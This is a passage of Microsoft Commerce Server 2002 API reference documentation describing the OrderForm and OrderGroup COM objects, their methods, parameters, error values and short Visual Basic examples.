[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Item table contains information about items available for auction. The default name of this table in the site database is Auction_item.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


OrderForm Object [C++]

OrderForm Object [Visual Basic]

The OrderForm object provides for the in-memory storage of user and purchase information. Commerce Server 2002 Enterprise Editon (EE) sites use the OrderForm object to store the items that a user has chosen to purchase, and to store receipt information that reflects the purchase history for a given user.

ProgID: | Commerce.OrderForm (Externally creatable)
COM Class Name: | COrderForm
Type Library Name: | Microsoft Commerce 2002 Core Components Type Library
DLL Name: | MscsCore.dll
Threading Model: | Both
[C++]
COM Interface Name: | IOrderForm
Interface ID Constant: | IID_IOrderForm
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IOrderForm interface to access the properties and methods of the OrderForm object.

Methods

[C++]
Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.
[Visual Basic]
Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.

Remarks

The OrderForm object is defined internally as a structured group of SimpleList and Dictionary objects, and includes the methods required to add items, clear items, and clear the entire OrderForm object itself.

The base of the OrderForm object is a Dictionary object, which contains information that describes the entire order. This includes user information, such as the shopper ID, name, and address, as well as order cost information, such as purchase subtotal, tax, shipping, and total.

The OrderForm object does not directly support storage of its data on disk. The DBStorage and OrderGroupManager objects enable persistent storage of OrderForm object data.

A number of the elements in the base Dictionary object of the OrderForm object include underscore (_) characters. The appearance of an underscore character in an element name indicates that these items are not saved to the OrderForm storage for the site. These elements are saved instead to the receipt storage of the site when the purchase is finalized.

See Also

[C++] Business Process Objects

[C++] OrderGroup Object

[C++] OrderGroupManager Object

[C++] SimpleFindSearchInfo Object

[C++] SimpleFindResultInfo Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroupManager Object

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] SimpleFindResultInfo Object


IOrderForm Methods [C++]

IOrderForm Methods [Visual Basic]

Methods

[C++]
Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.
[Visual Basic]
Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.


IOrderForm::AddItem Method [C++]

OrderForm.AddItem Method [Visual Basic]

Use this method to add the specified item to the items collection of an OrderForm object. The items collection is a SimpleList object containing Dictionary objects.

Definition

[C++]
HRESULT IOrderForm::AddItem(
  VARIANT varSKU,
  long lCount,
  long lPlacedPrice,
  IDispatch** ppdispItem
);
[Visual Basic]
Function AddItem(
  varSKU As Variant,
  lCount As Long,
  lPlacedPrice As Long
) As Object

Parameters

varSKU [C++]
[in] A VARIANT that contains the stock-keeping unit (SKU) of the item to add.
varSKU [Visual Basic]
A Variant that contains the SKU of the item to add.
lCount [C++]
[in] A long that contains the item count.
lCount [Visual Basic]
A Long that contains the item count.
lPlacedPrice [C++]
[in] A long that contains the placed price of the item.
lPlacedPrice [Visual Basic]
A Long that is reserved for future use. This parameter must be set to 0 (zero).
ppdispItem [C++]
[out, retval] The address of a pointer to receive an IDispatch interface to the Dictionary object used to return the added item; if the method does not complete successfully, this parameter will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference that holds the Dictionary object that contains the added item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppdispItem parameter contains valid data only if the method returns successfully; otherwise, it returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; a quantity of 5 is
' being added of the product whose SKU is SKUnumber.
Order.AddItem("SKUnumber", 5,0)

See Also

[C++] OrderForm Object

[C++] IOrderForm::ClearItems

[C++] IOrderForm::ClearOrderForm

[Visual Basic] OrderForm Object

[Visual Basic] OrderForm.ClearItems

[Visual Basic] OrderForm.ClearOrderForm


IOrderForm::ClearItems Method [C++]

OrderForm.ClearItems Method [Visual Basic]

Use this method to clear the items collection of the OrderForm object.

Definition

[C++]
HRESULT IOrderForm::ClearItems(
);
[Visual Basic]
Sub ClearItems()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A site uses the ClearItems method to respond to a user choosing to cancel a purchase. This method affects only the information in the items collection. Other OrderForm object information, such as _oadjust_subtotal and _total_total, is modified only if you run the Order Processing Pipeline (OPP) on this OrderForm object.

To empty the entire contents of the OrderForm object, call the ClearOrderForm method.

See Also

[C++] OrderForm Object

[C++] IOrderForm::AddItem

[C++] IOrderForm::ClearOrderForm

[Visual Basic] OrderForm Object

[Visual Basic] OrderForm.AddItem

[Visual Basic] OrderForm.ClearOrderForm


IOrderForm::ClearOrderForm Method [C++]

OrderForm.ClearOrderForm Method [Visual Basic]

Use this method to clear the entire OrderForm object.

Definition

[C++]
HRESULT IOrderForm::ClearOrderForm(
);
[Visual Basic]
Sub ClearOrderForm()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderForm Object

[C++] IOrderForm::AddItem

[C++] IOrderForm::ClearItems

[Visual Basic] OrderForm Object

[Visual Basic] OrderForm.AddItem

[Visual Basic] OrderForm.ClearItems


OrderGroup Object [C++]

OrderGroup Object [Visual Basic]

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

ProgID: | Commerce.OrderGroup (Externally creatable)
COM Class Name: | OrderGroup
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _OrderGroup
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group template to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the pipeline component file on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.
[Visual Basic]
Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
LoadBasket | Loads the basket for the current user from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the pipeline component file on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.

Properties

[C++]
Property | Type | Description
LogFile | BSTR | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | BSTR | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | VARIANT | Returns the OrderGroup object attributes.This property is read-only.
[Visual Basic]
Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database.
Value | Variant | Returns the OrderGroup object attributes. This property is read-only.

Remarks

The OrderGroup object supports the IPersistXML interface. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again. For more information about the IPersistXML interface, see IPersistXML Interface.

See Also

[C++] Business Process Objects

[C++] OrderGroupManager Object

[C++] OrderForm Object

[C++] SimpleFindSearchInfo Object

[C++] SimpleFindResultInfo Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderForm Object

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] SimpleFindResultInfo Object


_OrderGroup Methods [C++]

OrderGroup Methods [Visual Basic]

Methods

[C++]
Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group template to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the pipeline component file on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.
[Visual Basic]
Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
LoadBasket | Loads the basket for the current user from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the pipeline component file on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.


_OrderGroup::AddItem Method [C++]

OrderGroup.AddItem Method [Visual Basic]

Use this method to add a line item to the specified OrderForm object.

This method adds a line-item dictionary to the given OrderForm (the strOrderFormName parameter). If the strOrderFormName is not supplied, the parameter strOrderFormName defaults to "default"; if "default" does not exist, it is created. This method also increments the aggregated quantity total at the OrderGroup and OrderForm level.

Definition

[C++]
HRESULT _OrderGroup::AddItem(
  IDictionary* dictItem,
  VARIANT strOrderFormName,
  long* lpRetVal
);
[Visual Basic]
Function AddItem(
  dictItem As Object,
  Optional strOrderFormName As Variant
) As Long

Parameters

dictItem [C++]
[in] A pointer to the IDictionary interface that contains the line item information.
dictItem [Visual Basic]
A Dictionary object that contains the line-item information.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the name of the OrderForm to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForms.)
strOrderFormName [Visual Basic]
A Variant that specifies the name of the OrderForm to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForms).
lpRetVal [C++]
[out, retval] A pointer to a long used to return the index at which the item was added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that specifies the index at which the item was added.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The lpRetVal parameter points to valid data only if the method completed successfully.

Note

  • Each line item that is added should contain a quantity.
  • If you are using the QueryCatalogInfo component in your pipeline, you will also need:
    • product_catalog
    • product_id
    • product_variant_id (if this is a product variant)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' lLineItemIndex is a Long
' sMyOrder is a String
' oOrderGroup is a Commerce.OrderGroup object
lLineItemIndex = oOrderGroup.AddItem(dDict, sMyOrder)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::RemoveItem

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.RemoveItem


_OrderGroup::AddItemsFromTemplate Method [C++]

OrderGroup.AddItemsFromTemplate Method [Visual Basic]

Use this method to add the line items associated with an on-disk OrderGroup to the current OrderGroup object.

This method iterates across all the OrderForms in the specified template and adds them to the current OrderGroup. If the OrderForms being added already exist, the line items on the template OrderGroup are simply added. When non-existing OrderForms are encountered, the method will add the OrderForm in its entirety to the OrderGroup including OrderForm-level dictionary values.

The OrderGroup keeps a counter of total line items at OrderForm and OrderGroup levels. For the OrderGroup level, it keeps track of the number of line items in all the OrderForms. This value is held under the key "total_lineitems".

Definition

[C++]
HRESULT _OrderGroup::AddItemsFromTemplate(
  BSTR OrderGroupID
);
[Visual Basic]
Sub AddItemsFromTemplate(
  OrderGroupID As String
)

Parameters

OrderGroupID [C++]
[in] A BSTR that specifies the OrderGroup ID for the template.
OrderGroupID [Visual Basic]
A String that specifies the OrderGroup ID for the template.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Note

  • It is the responsibility of the application to implement security. This method does not check that the user ID of the template is the same as the user ID specified in the initialization call.

This method also works on previously submitted orders and baskets, as well as OrderGroups with Template (Saved Order) status.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' myOGID is a GUID String
myOGID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oOrderGroup.AddItemsFromTemplate(myOGID)

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::AddOrderform Method [C++]

OrderGroup.AddOrderform Method [Visual Basic]

Use this method to add an OrderForm with all of its contents to the OrderGroup object.

If the strOrderFormName is not supplied, it defaults to "default".

Definition

[C++]
HRESULT _OrderGroup::AddOrderform(
  IDictionary* orderform,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub AddOrderform(
  orderform As Object,
  Optional strOrderFormName As Variant
)

Parameters

orderform [C++]
[in] A pointer to the IDictionary interface that contains the OrderForm object that will be added.
orderform [Visual Basic]
A Dictionary object that contains the OrderForm object that will be added.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dOrderForm is a Dictionary object
' sMyOrderName is a string
' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.AddOrderform(dOrderForm,sMyOrderName)

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::AddXMLAsOrderForm Method [C++]

OrderGroup.AddXMLAsOrderForm Method [Visual Basic]

Use this method to add items previously saved as XML (by using the GetOrderformAsXML method) back into an OrderGroup.

Definition

[C++]
HRESULT _OrderGroup::AddXMLAsOrderForm(
  BSTR strXML,
  BSTR nXMLLocale,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub AddXMLAsOrderForm(
  strXML As String,
  nXMLLocale As String,
  Optional strOrderFormName As Variant
)

Parameters

strXML [C++]
[in] A BSTR that specifies the XML string containing the line items to add.
strXML [Visual Basic]
A String that specifies the XML string containing the line items to add.
nXMLLocale [C++]
[in] A BSTR that specifies the locale to use in the XML string conversion.
nXMLLocale [Visual Basic]
A String that specifies the locale to use in the XML string conversion.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name to add.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name to add.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Note

  • Use of the DictionaryXMLTransforms object is recommended when exchanging XML via BizTalk Server. DictionaryXMLTransforms allows you to write out XML to a well-defined schema.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' sXMLString is an string containing order-form data
' lLocale is a long specifying the locale to use in conversion
oOrderGroup.AddXMLAsOrderForm(sXMLString, lLocale)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::GetOrderFormAsXML

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.GetOrderFormAsXML


_OrderGroup::AggregateOrderFormValues Method [C++]

OrderGroup.AggregateOrderFormValues Method [Visual Basic]

Use this method to iterate across all OrderForms, compute a total of the specified key, and store the total at the OrderGroup level.

Definition

[C++]
HRESULT _OrderGroup::AggregateOrderFormValues(
  BSTR strOrderFormKey,
  BSTR strOrderGroupKey
);
[Visual Basic]
Sub AggregateOrderFormValues(
  strOrderFormKey As String,
  strOrderGroupKey As String
)

Parameters

strOrderFormKey [C++]
[in] A BSTR that specifies the OrderForm key of the value to be aggregated.
strOrderFormKey [Visual Basic]
A String that specifies the OrderForm key of the value to be aggregated.
strOrderGroupKey [C++]
[in] A BSTR that specifies the OrderGroup key of the value to which the aggregated total will be written.
strOrderGroupKey [Visual Basic]
A String that specifies the OrderGroup key of the value to which the aggregated total will be written.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.AggregateOrderFormValues("saved_cy_handling_total", _
"_cy_handling_total")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::Clear Method [C++]

OrderGroup.Clear Method [Visual Basic]

Use this method to clear the OrderGroup object of all OrderForm objects and Address dictionaries.

Definition

[C++]
HRESULT _OrderGroup::Clear(
);
[Visual Basic]
Sub Clear()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::GetAddress Method [C++]

OrderGroup.GetAddress Method [Visual Basic]

Use this method to get the specified address Dictionary object.

Definition

[C++]
HRESULT _OrderGroup::GetAddress(
  BSTR strAddressId,
  IDictionary** ppRetVal
);
[Visual Basic]
Function GetAddress(
  strAddressId As String
) As Object

Parameters

strAddressId [C++]
[in] A BSTR that specifies the address ID.
strAddressId [Visual Basic]
A String that specifies the address ID.
ppRetVal [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, used to return the address dictionary. The return value will be set to NULL if the specified strAddressId is not found.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

If the specified address is found, this method returns a reference to that dictionary, otherwise it returns a Nothing object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRetVal parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary object

dDict = oOrderGroup.GetAddress("{C4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::GetItemInfo Method [C++]

OrderGroup.GetItemInfo Method [Visual Basic]

Use this method to get a reference to the line-item dictionary from the specified OrderForm at the specified index. If the strOrderFormName parameter is not supplied, it defaults to "default".

Definition

[C++]
HRESULT _OrderGroup::GetItemInfo(
  long nItemIndex,
  VARIANT strOrderFormName,
  IDictionary** ppRetVal
);
[Visual Basic]
Function GetItemInfo(
  nItemIndex As Long,
  Optional strOrderFormName As Variant
) As Object

Parameters

nItemIndex [C++]
[in] A long that specifies the line-item index.
nItemIndex [Visual Basic]
A Long that specifies the line-item index.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.
ppRetVal [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, used to return the line item information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Dictionary object that contains the line item information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

